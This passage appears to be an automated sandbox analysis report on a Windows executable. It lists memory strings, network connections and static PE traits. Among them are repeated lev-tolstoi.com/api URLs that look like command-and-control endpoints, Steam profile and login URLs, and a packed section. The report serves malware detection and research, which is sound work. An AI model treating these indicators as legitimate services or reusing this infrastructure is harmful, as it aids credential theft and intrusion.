Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344211505.0000000001528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/)
Source: XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/1
Source: XYQ1pqHNiT.exe, 00000000.00000003.1533389237.000000000152A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534412852.000000000152B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1520525272.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/B.z
Source: XYQ1pqHNiT.exe, 00000000.00000003.1437622519.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.00000000015B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/BH
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344211505.0000000001528000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533440267.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534533958.00000000015B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: XYQ1pqHNiT.exe, 00000000.00000003.1437622519.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482065447.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533440267.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534533958.00000000015B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api#%
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apihyX
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/c
Source: XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/d
Source: XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/er
Source: XYQ1pqHNiT.exe, 00000000.00000003.1432137191.00000000015B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/mA
Source: XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ms
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.0000000001512000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482177058.000000000159B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482065447.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481936231.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534533958.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/q
Source: XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s
Source: XYQ1pqHNiT.exe, 00000000.00000003.1459985076.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482177058.000000000159B000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482065447.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481936231.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460153066.00000000015A0000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000002.1534533958.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481701577.000000000159E000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.000000000158D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/sA
Source: XYQ1pqHNiT.exe, 00000000.00000003.1481936231.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482156077.000000000157D000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000150C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1437568699.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1460093926.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1459853456.0000000001546000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1432222769.0000000001549000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1481936231.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482156077.000000000157D000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampow
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: XYQ1pqHNiT.exe, 00000000.00000003.1296018079.0000000001558000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1295969968.000000000158C000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1344110207.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344861175.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: XYQ1pqHNiT.exe, 00000000.00000003.1404827285.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: XYQ1pqHNiT.exe, 00000000.00000003.1295969968.0000000001593000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316827404.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: XYQ1pqHNiT.exe, 00000000.00000003.1344147969.0000000001589000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1482156077.000000000157D000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437490012.0000000001535000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1437812652.000000000158A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316975366.0000000001557000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1316852023.000000000154A000.00000004.00000020.00020000.00000000.sdmp, XYQ1pqHNiT.exe, 00000000.00000003.1533195210.000000000158B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49732 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: XYQ1pqHNiT.exe	Static PE information: section name:
Source: XYQ1pqHNiT.exe	Static PE information: section name: .idata
Source: XYQ1pqHNiT.exe	Static PE information: section name:

Source: XYQ1pqHNiT.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: XYQ1pqHNiT.exe	Static PE information: Section: ZLIB complexity 0.999374489379085
